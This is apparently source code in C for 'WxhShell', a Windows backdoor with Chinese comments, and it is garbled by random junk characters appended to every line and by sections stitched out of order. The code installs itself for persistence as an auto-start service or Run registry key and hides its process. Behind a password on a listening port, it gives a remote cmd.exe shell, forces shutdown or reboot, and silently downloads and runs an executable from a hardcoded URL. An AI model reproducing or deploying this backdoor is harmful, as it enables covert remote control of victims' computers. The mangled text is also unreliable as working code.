  case 'd': { V[4(~,9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KSF5)CZ5  
    if(Boot(SHUTDOWN)) G% o7BX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]Y#pL u|  
    else { \)uy"+ Z`  
    closesocket(wsh); 7E;>E9 '  
    ExitThread(0); Dp%5$wF)8  
    } W]} #\\$z  
    break; u):X>??  
    } 9)#gtDM%J  
  // 获取shell XCW+ pUX  
  case 's': { ( P  
    CmdShell(wsh); v!nm &"  
    closesocket(wsh); N-]\oMc2  
    ExitThread(0); N9`y,Cos0  
    break; #"=%b e3  
  }  =|^X$H  
  // 退出 yW%&_s0  
  case 'x': { >oVc5}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zC<'fT/rG  
    CloseIt(wsh); M|1eqR%x-?  
    break; C<zx'lw!  
    } s'R~ r  
  // 离开 bMSD/L  
  case 'q': { 8W(<q|t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,G916J*XA  
    closesocket(wsh); jK& Nkp  
    WSACleanup(); iSnIBs9\  
    exit(1); Kh>?!` lL  
    break; 0*37D 5jH  
        } 3FGbQ_  
  } #k"1wSx16  
  } 516VQ<?B  
\a{Aa  
  // 提示信息 EG'7}W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i)A`Vpn  
} _Cu[s?,kS  
  } OI)&vQ5k  
Q3 K;kS  
  return; k/$Ja;  
} SS >:Sw  
h<PYE]?l  
// shell模块句柄 *O2^{ C  
int CmdShell(SOCKET sock) }`+O$0A  
{ dL1~]Z y  
STARTUPINFO si; _Ym&UY.u#  
ZeroMemory(&si,sizeof(si)); *O"%tp6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,\.YJD>z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QT7w::ht  
PROCESS_INFORMATION ProcessInfo; sV9{4T~#|  
char cmdline[]="cmd"; g @c=Bt$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TKj/6Jz|  
  return 0; u i s:\Uc  
} T=hm#]   
7H8GkuO  
// 自身启动模式 44Seq  
int StartFromService(void) Y!K^-Y}  
{ ;g;,%jdCS  
typedef struct 4<=eK7;XR  
{ 34&u]4=L)  
  DWORD ExitStatus; V Z4nAG  
  DWORD PebBaseAddress; mafAC73  
  DWORD AffinityMask; {|8:U}<#h  
  DWORD BasePriority; 5Ws:Ei{R  
  ULONG UniqueProcessId; 842Mydom  
  ULONG InheritedFromUniqueProcessId; E9~&f^f  
}   PROCESS_BASIC_INFORMATION; {Sd@u$&  
mSVX4XW<  
PROCNTQSIP NtQueryInformationProcess; `<]P"G  
DzX6U[=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v.~Nv@+kR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 20SF<V  
D@/9+]-,  
  HANDLE             hProcess; E 6>1Fm8%V  
  PROCESS_BASIC_INFORMATION pbi; g4BwKENM  
B1 jH.(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +iZ@.LI  
  if(NULL == hInst ) return 0; `Z;B^Y0  
pn ~/!y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HQ-N!pf9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ];YglHH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]ly)z[is"]  
$=;bccIob  
  if (!NtQueryInformationProcess) return 0; "9MX,}X*  
7;$L&X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bUipp\[aV  
  if(!hProcess) return 0; HbJadOK  
8yJk81 gY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .{-iq(3  
+#i,87  
  CloseHandle(hProcess); il`C,CD  
+E""8kW- Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z(Ls#hp  
if(hProcess==NULL) return 0; Px^<2Q%Fs  
Yc|-sEK/  
HMODULE hMod; b_)QBE9  
char procName[255]; {4V:[*3  
unsigned long cbNeeded; &L[8Mju6  
qZyt>SAx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y7}~T!UyfF  
2_ZHJ,r   
  CloseHandle(hProcess); IAt+S-q0  
N8/Au=De_  
if(strstr(procName,"services")) return 1; // 以服务启动 Ed ?Yk* 4  
|?pYJkrYO  
  return 0; // 注册表启动 <7RkM  
} l ")o!N?  
XH_qA[=c]  
// 主模块 Cbf,X[u  
int StartWxhshell(LPSTR lpCmdLine) :">~(Rd ZH  
{ *I;Mp  
  SOCKET wsl; s>"WQ|;6  
BOOL val=TRUE; \sXm Mc  
  int port=0; u+, jAkr  
  struct sockaddr_in door; O7L6Htya  
XQJV.SVS  
  if(wscfg.ws_autoins) Install(); }gi`?58J6  
@Z1?t%1  
port=atoi(lpCmdLine); ua.6?W)  
I{X@<o}  
if(port<=0) port=wscfg.ws_port; \C'I l w  
16d{IGMz  
  WSADATA data; JqH.QnKcv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u0$5Fd&X  
Hf E;$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;*85'WcS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S+E3;' H  
  door.sin_family = AF_INET; hGaYQgGq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (vYf?+Kb  
  door.sin_port = htons(port); lfI7&d*  
]T28q/B;k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aX%g+6t2  
closesocket(wsl); :;gwdZ  
return 1; 6`{)p&9  
} cR@}   
s#8{:ko  
  if(listen(wsl,2) == INVALID_SOCKET) { jak|LOp  
closesocket(wsl); {3 yws 4  
return 1; _|2";.1E  
} g]hn@{[  
  Wxhshell(wsl); tI(t%~>^  
  WSACleanup(); r%?}5"*  
jl ?y}  
return 0; =K&q;;h  
&b#NF1Q.  
} vA $BBXX  
D\i8rqU/l  
// 以NT服务方式启动 jind!@}!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,hcBiL/  
{ ?)ZLxLV::  
DWORD   status = 0; h: (l+jr  
  DWORD   specificError = 0xfffffff; kv`3Y0R-"  
R|^t~h-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BtDgv.;GH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HoQ(1e$G-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8B(Q7Qj  
  serviceStatus.dwWin32ExitCode     = 0; ?eZ"UGZg'  
  serviceStatus.dwServiceSpecificExitCode = 0; boHm1hPKS  
  serviceStatus.dwCheckPoint       = 0; 8C4@V[sm`  
  serviceStatus.dwWaitHint       = 0; B\~3p4S  
=?QQb>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m~\m"zJ4  
  if (hServiceStatusHandle==0) return; Uu<sntyv  
Pp")hFx  
status = GetLastError(); Szob_IEq,  
  if (status!=NO_ERROR) RI].LB_  
{ Tr+Y@]"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L?pvz}  
    serviceStatus.dwCheckPoint       = 0; gcY~_'&u  
    serviceStatus.dwWaitHint       = 0; <GU(/S!}  
    serviceStatus.dwWin32ExitCode     = status; [_z2z6  
    serviceStatus.dwServiceSpecificExitCode = specificError; S&g -  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B?>#cpW j  
    return; c[e GpZ]  
  } Tlv|To  
MZ#2WP)F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t3kh]2t  
  serviceStatus.dwCheckPoint       = 0; |x~ei_x7.p  
  serviceStatus.dwWaitHint       = 0; LB 5EGw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UmHb-uk ;  
} Sr-^faL  
Sv[_BP\^h  
// 处理NT服务事件,比如:启动、停止 XcW3IO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Op)R3qt{  
{ "B{xC}Tw  
switch(fdwControl) P) 0=@{(  
{ (:hmp"S  
case SERVICE_CONTROL_STOP: K LM^O$=  
  serviceStatus.dwWin32ExitCode = 0; oz7udY=]0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3R96;d;  
  serviceStatus.dwCheckPoint   = 0; dXSb%ho  
  serviceStatus.dwWaitHint     = 0; &ppZRdq]  
  { Pn){xfqDl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t7& GCZ  
  } _ -FQ78C  
  return; C'#)bX{  
case SERVICE_CONTROL_PAUSE: +]2~@=<@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o]k]pNO  
  break; 2H0q\zZ  
case SERVICE_CONTROL_CONTINUE: "VhrsVT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z[I/ AORl  
  break; ,}$x'8v  
case SERVICE_CONTROL_INTERROGATE: %1l80Z  
  break; st^N QL  
}; UVi/Be#|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9(\N+  
} HGMH g  
<. ]&FPJ  
// 标准应用程序主函数 GoGgw]h>x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N1zrfn-VU  
{  E8V\J  
FKTP0e7=9  
// 获取操作系统版本 $zH 0$aOx  
OsIsNt=GetOsVer(); 2G*#Czr"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *" +cP!  
rb4g<f|  
  // 从命令行安装 "pJ EzC  
  if(strpbrk(lpCmdLine,"iI")) Install(); N>#P 1!eP  
iV$75Atk  
  // 下载执行文件 Cl){sP=8W  
if(wscfg.ws_downexe) { Yl3PZ*#@ Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CF 0IP  
  WinExec(wscfg.ws_filenam,SW_HIDE); mLdyt-1  
} eyp\h8!u_  
X"r$,~  
if(!OsIsNt) { T[II;[EiE  
// 如果时win9x,隐藏进程并且设置为注册表启动 :9< r(22  
HideProc(); <J uJ`t  
StartWxhshell(lpCmdLine); 3S21DC@Y  
} xVo)!83+Q  
else "uNxKLDB  
  if(StartFromService()) ^qy-el  
  // 以服务方式启动 _A~gqOe  
  StartServiceCtrlDispatcher(DispatchTable); E^ti !4{<  
else \?I wR]@y  
  // 普通方式启动 Dy'l]vN$  
  StartWxhshell(lpCmdLine); nf^k3QS\  
t|,Ex7  
return 0; e;Z`&  
} qOanu  
{;~iq  
'%7]xp  
{Z;GNMO:  
=========================================== +F6_P  
BFRSYwPr  
X+BSneu  
*g}&&$b0  
XsMphZnK  
b,sc  
" )xs,  
j ZafwBi  
#include <stdio.h> 7l EwQ  
#include <string.h> YA8~O5  
#include <windows.h> =&xoyF  
#include <winsock2.h> <08V-   
#include <winsvc.h> Kt0Tuj@CY  
#include <urlmon.h> S,>n'r[  
cC]1D*Bn  
#pragma comment (lib, "Ws2_32.lib") LxDhthZi_  
#pragma comment (lib, "urlmon.lib") _YUF /B'  
N* -Z Jv  
#define MAX_USER   100 // 最大客户端连接数 HK.J/Zr  
#define BUF_SOCK   200 // sock buffer H!=BjU1Pmg  
#define KEY_BUFF   255 // 输入 buffer bME3" e{O  
fL:Fn"Nv  
#define REBOOT     0   // 重启 BS.6d}G4  
#define SHUTDOWN   1   // 关机 .`RC,R`C  
%05a>Rf&  
#define DEF_PORT   5000 // 监听端口 _L.yt5_  
v%Xe)D   
#define REG_LEN     16   // 注册表键长度 w\4m -Z{  
#define SVC_LEN     80   // NT服务名长度 !X_~|5.  
e@By@r&nql  
// 从dll定义API "|rqt.f2[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TD9`S SpP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xUoY|$fI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (o\~2e:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )T_ #X!  
g{(nt5|^l  
// wxhshell配置信息 x~^nlnKVf  
struct WSCFG { WGK::?  
  int ws_port;         // 监听端口 *RM'0[1F4  
  char ws_passstr[REG_LEN]; // 口令 Uc2#so$9  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z;s-t\C  
  char ws_regname[REG_LEN]; // 注册表键名 DVH><3FF  
  char ws_svcname[REG_LEN]; // 服务名 +.cv,1Vx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |SleSgS<#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i|GC 'XD@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ARo5 Ss{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _%B`Y ?I`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E]Q)pZ{Jb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BD+?Ad?  
l"8YIsir  
}; 7L"/4w  
7 >(ygu  
// default Wxhshell configuration sxtGl^,mU:  
struct WSCFG wscfg={DEF_PORT, 1L7,x @w  
    "xuhuanlingzhe", 5K<C  
    1, 2B;QS\e"  
    "Wxhshell", ?YO%]mTP  
    "Wxhshell", iI7~9SCE  
            "WxhShell Service", i2E7$[  
    "Wrsky Windows CmdShell Service", QeoDq  
    "Please Input Your Password: ", f' S"F  
  1, N 5DS-gv  
  "http://www.wrsky.com/wxhshell.exe", b.&YUg[#  
  "Wxhshell.exe" {'(8<n57  
    }; 8),Y|4  
~O6=dR  
// 消息定义模块 @dNbL}qQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q{60^vg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7j8_O@_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;q2T*4NN  
char *msg_ws_ext="\n\rExit."; 6~LpBlb  
char *msg_ws_end="\n\rQuit."; [G*mQ@G9  
char *msg_ws_boot="\n\rReboot..."; ;U&VPIX$  
char *msg_ws_poff="\n\rShutdown..."; rv:O|wZ  
char *msg_ws_down="\n\rSave to "; "5K: "m  
|~Iw   
char *msg_ws_err="\n\rErr!"; AP%h!b5v  
char *msg_ws_ok="\n\rOK!"; ";]m]PRAam  
QTH yH   
char ExeFile[MAX_PATH]; ?%(*bRV -  
int nUser = 0; b8&9pLl  
HANDLE handles[MAX_USER]; 6s;x@g]  
int OsIsNt; |(5=4j]  
z?xd\x  
SERVICE_STATUS       serviceStatus; |1o]d$3m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8z"Yo7no  
[@;Z xs  
// 函数声明 c/RG1w  
int Install(void); 5Mr:(|JyV  
int Uninstall(void); Y|F);XXIl  
int DownloadFile(char *sURL, SOCKET wsh); rH,N.H#]  
int Boot(int flag); , utFCZW  
void HideProc(void); OgX."pK  
int GetOsVer(void); G)Y!aX  
int Wxhshell(SOCKET wsl); _[W=1bGJ  
void TalkWithClient(void *cs); :nI.Qa'"H  
int CmdShell(SOCKET sock); )<d8yLb  
int StartFromService(void); S5JnJkNn  
int StartWxhshell(LPSTR lpCmdLine); K9R[ oB]b  
@Klj!2cv$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mwxJ#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5|Qr"c$p  
xlAaIo)T  
// 数据结构和表定义 c1[;a>  
SERVICE_TABLE_ENTRY DispatchTable[] = SW7%SX,xM  
{ .kVga+la?  
{wscfg.ws_svcname, NTServiceMain}, ) =[Tgh  
{NULL, NULL} 0U'r ia:$  
}; <,{v>vlw  
kVY@q&p  
// 自我安装 C;` fOCz^  
int Install(void) jolCR-FDu  
{ @)B_e*6>'  
  char svExeFile[MAX_PATH]; "<n{/x(  
  HKEY key; ~X/T6(n$  
  strcpy(svExeFile,ExeFile); [>E0(S]  
e(Ve rd:c  
// 如果是win9x系统,修改注册表设为自启动 LPC7Bdjz  
if(!OsIsNt) { J0IK =Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A.[T#ZB.4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =LRUasF  
  RegCloseKey(key); {q^KlSjm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DQSv'!KFO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e042`&9=Ic  
  RegCloseKey(key); =GF+hM/~  
  return 0; deNU[  
    } 4{|lzo'&  
  } J [1GP_  
} x;+,lP  
else { (H$eXW7  
\ys3&<;b  
// 如果是NT以上系统,安装为系统服务 2.6,c$2tB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cMj<k8.{  
if (schSCManager!=0) &IcDUr]L  
{ -Je+7#P1  
  SC_HANDLE schService = CreateService rP'oU V_  
  ( &+\wYa,  
  schSCManager, ;(XSw%Y H  
  wscfg.ws_svcname, SV.*Z|"^N  
  wscfg.ws_svcdisp, t5&$ y`  
  SERVICE_ALL_ACCESS, 1g;3MSn~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7cC$)  
  SERVICE_AUTO_START, JOMZ&c^  
  SERVICE_ERROR_NORMAL, zVIzrz0  
  svExeFile, ! `SR$dnE  
  NULL, B7#;tCf  
  NULL, | c;S'36  
  NULL, L2 I/h`n"  
  NULL, m>iuy:ti  
  NULL ~Sh}\&3p  
  ); '@$?A>.cj  
  if (schService!=0) \R~Lf+q  
  { #8PjYB  
  CloseServiceHandle(schService); !o`al` q'  
  CloseServiceHandle(schSCManager); /fX]Yu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $1axZ~8sS  
  strcat(svExeFile,wscfg.ws_svcname); O @w=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H:|yu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <a'j8pw9i  
  RegCloseKey(key); 2]@U$E='s  
  return 0; z >pq<}R6  
    } U9JqZ!  
  } m_pK'jc  
  CloseServiceHandle(schSCManager); @FQ@* XD  
} &?~> I[^~  
} -/h$Yb  
, 7}Ri  
return 1; 4F'@yi^Gt  
} @gZ%>qe  
Y$(G)Fs  
// 自我卸载 w'UP#vT5&  
int Uninstall(void) |_O1V{Q=  
{ n44j]+P  
  HKEY key; 4-m}W;igu  
ddw!FH2W (  
if(!OsIsNt) { !XK p_v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5~\W!|j/  
  RegDeleteValue(key,wscfg.ws_regname); tvd/Y|bV=  
  RegCloseKey(key); )&*&ZL0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jap v<lV%  
  RegDeleteValue(key,wscfg.ws_regname); 0hPm,H*Y]  
  RegCloseKey(key); .9`.\v6R  
  return 0; 0py0zE6,,  
  } il:+O08_  
} _3)~{dQ+  
} g >X!Q  
else { +jHL==W&  
U7{, *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >:Rc%ILym  
if (schSCManager!=0) b+w|3bQa  
{ 5Eq_L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \wTW hr0  
  if (schService!=0) AR&u9Y)I  
  { ^.k}YSWut  
  if(DeleteService(schService)!=0) { Jr#ptf"Wu  
  CloseServiceHandle(schService); zg)]:  
  CloseServiceHandle(schSCManager); FQ);el'_V  
  return 0; f}o`3v*z  
  } {Bu^%JEn  
  CloseServiceHandle(schService); >ztv3^w  
  } e\\ I,  
  CloseServiceHandle(schSCManager); uYV# '%  
} ).k=[@@V  
} p`Ax)L\f  
`2GHB@S"k  
return 1; nL\BB&  
} [^aow-4z  
4O2O0\o:  
// 从指定url下载文件 b8>r UGA{  
int DownloadFile(char *sURL, SOCKET wsh) Qp{{OjD  
{ ' R{ [Y)  
  HRESULT hr; 4SmhtC  
char seps[]= "/"; C]{43  
char *token; YrA#NTB_o  
char *file; + -U7ogs  
char myURL[MAX_PATH]; |',MgA  
char myFILE[MAX_PATH]; yY8q{\G  
~Q5L)}8N  
strcpy(myURL,sURL); xqIt?v2c  
  token=strtok(myURL,seps);  $ l Y  
  while(token!=NULL) a:1-n %&F  
  { j:rGFd  
    file=token; $ -;,O8yR  
  token=strtok(NULL,seps); `j@2[XdHu  
  } ij/ |~-!  
@ 3FTf"#Y  
GetCurrentDirectory(MAX_PATH,myFILE); ![ Fb~Egc  
strcat(myFILE, "\\"); 7n {uxE#U)  
strcat(myFILE, file); q0$}MB6  
  send(wsh,myFILE,strlen(myFILE),0); Xn4U!<RT"  
send(wsh,"...",3,0); }VdohX-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jeC3}BL }  
  if(hr==S_OK) DjtUX>e  
return 0; nT9B?P>  
else &Zd! |u  
return 1; h8Kri}z;M  
6!O~:\`DJ  
} a3JG&6-  
!fjDO!,!  
// 系统电源模块 Kh}#At^C8e  
int Boot(int flag) 5^*I]5t8  
{ iq=<LOx  
  HANDLE hToken; o[0Cv*  
  TOKEN_PRIVILEGES tkp; p Gzzv{H  
,{=#  
  if(OsIsNt) { < OCy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eVn]/.d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bk*AO?3p  
    tkp.PrivilegeCount = 1; YqrieDFay!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3Jf_3c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d A[I  
if(flag==REBOOT) { hgLwxJu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W/L~&.'  
  return 0; V'^Hn?1^  
} D!+d]A[r  
else { .sgP3Ah  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ESft:3xyw  
  return 0; ]:8:|*w  
} *v_+a:  
  } cE$7CSR  
  else { 0ERA(=w5  
if(flag==REBOOT) { QGs\af  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -xPv]j$  
  return 0; 3[amCKel  
} _f8Wa u# "  
else { &82Za%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uPQ:}zL2  
  return 0; ^giseWR(  
} '1_CMr  
} $OldHe[p  
6=0"3%jn@  
return 1; by (xv0v;  
} ,C1}gPQ6<  
|>Qj]  
// win9x进程隐藏模块 }w}2'P'T  
void HideProc(void) buu~#m 1z  
{ 0[/>> !ws  
Y/?V%X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bq3"l%hI  
  if ( hKernel != NULL ) a6cq0g[#z  
  { aSkH<5i`v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uS`XWn<CSD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3A!`U6C(  
    FreeLibrary(hKernel); g4EC[>5!r  
  } $F"'= +0  
Qyx%:PE  
return; =dSH8C"  
} ' @i0~  
T{<riJ`O  
// 获取操作系统版本 Zn0e#n  
int GetOsVer(void) F !g>fIg  
{ o'O;69D]tX  
  OSVERSIONINFO winfo; LVP2jTz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 38#BINhBt  
  GetVersionEx(&winfo); MH7 n@.t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )7jjfD\  
  return 1; #q#C_"  
  else R OsR;C0!  
  return 0; H]As2$[  
} 8w /$!9[  
W;!OxOWZJ  
// 客户端句柄模块 wr I66R}@  
int Wxhshell(SOCKET wsl) uj;tmK>;  
{ cBZ$$$v\#  
  SOCKET wsh; pY]T3 2  
  struct sockaddr_in client; Mtq\xF,/+  
  DWORD myID; 1k"<T7K  
|qTvy,U[  
  while(nUser<MAX_USER) A:! _ &  
{ 3Z/_}5%"  
  int nSize=sizeof(client); [@ >}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `Y]t*` e|  
  if(wsh==INVALID_SOCKET) return 1; $FXlH;_7  
.Nt;J,U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DXA<m2&64N  
if(handles[nUser]==0) D y+)s-8  
  closesocket(wsh); |I \&r[J  
else j.or:nF  
  nUser++; 4~<78r5m  
  } c@f?0|66M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %n?&#_G|  
fSc)PqLP  
  return 0; t@r>GHO  
} ~(aMKB  
~i_YrTp  
// 关闭 socket =`<9N %  
void CloseIt(SOCKET wsh) BPO)<bx_  
{ :`Kv\w.  
closesocket(wsh); X6 E^5m  
nUser--; r c++c,=  
ExitThread(0); BV;dV6`z  
} 4Ys\<\~d  
(-S\%,hO  
// 客户端请求句柄 HE!"3S2S&+  
void TalkWithClient(void *cs) oD<aWZ"Z  
{ Y]!WPJ`f2  
zD^*->`p  
  SOCKET wsh=(SOCKET)cs; Aq 5CF`e{  
  char pwd[SVC_LEN]; R ?62g H  
  char cmd[KEY_BUFF]; {:;6 *W  
char chr[1]; OTe h8h  
int i,j; (fNG51h!  
qkXnpv  
  while (nUser < MAX_USER) { l(A)Gd5>  
;*(i}'  
if(wscfg.ws_passstr) { 6&* z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]?S@g'Jd0Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A_8Xhem${  
  //ZeroMemory(pwd,KEY_BUFF); wF=?EK(;P{  
      i=0; @tT2o@2Y^  
  while(i<SVC_LEN) { f?JP=j  
?kM2/a"{G  
  // 设置超时 ]C'^&:&<  
  fd_set FdRead; <S ae:m4  
  struct timeval TimeOut; Tfq7<<0$N  
  FD_ZERO(&FdRead); +h ]~m_O  
  FD_SET(wsh,&FdRead); PPAcEXsIu  
  TimeOut.tv_sec=8; mP*Ct6628n  
  TimeOut.tv_usec=0; NI  r"i2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R E0ud_q2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d HN"pNNs  
"f~*4g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D?.H|%  
  pwd=chr[0]; Y~TD)c=  
  if(chr[0]==0xd || chr[0]==0xa) { _.%U}U  
  pwd=0; [_HY6gr  
  break; @ / .w%  
  } Y;)l  
  i++; P+L#p(K  
    } ;~,)6UX7  
N?EeT}m_  
  // 如果是非法用户,关闭 socket utu V'5GD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gWD46+A){  
} A Xpg_JC  
<EKTFHJ!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U3**x5F_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v? Zo5uVoq  
DuQW?9^232  
while(1) { {h*)|J  
Y 'y yrn}  
  ZeroMemory(cmd,KEY_BUFF); 8|L;y[v  
7!F -.kG  
      // 自动支持客户端 telnet标准   %63s(ekU  
  j=0; [a_'pAH  
  while(j<KEY_BUFF) { 5[y+X|Am  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (nu;o!mo9  
  cmd[j]=chr[0]; 4iDqd  
  if(chr[0]==0xa || chr[0]==0xd) { eC3 ~|G_O  
  cmd[j]=0; 'iWDYZ?  
  break; b+`qGJrej  
  } QXu[<V  
  j++; !$NQF/Ol  
    } WJJmM*>JW  
0Ke2%+yqJ  
  // 下载文件 ~KQiNkA\|l  
  if(strstr(cmd,"http://")) { hnimd~E52k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g43(N!@g  
  if(DownloadFile(cmd,wsh)) &gF9VY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [*J?TNk  
  else :85QwN]\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'gtcy  
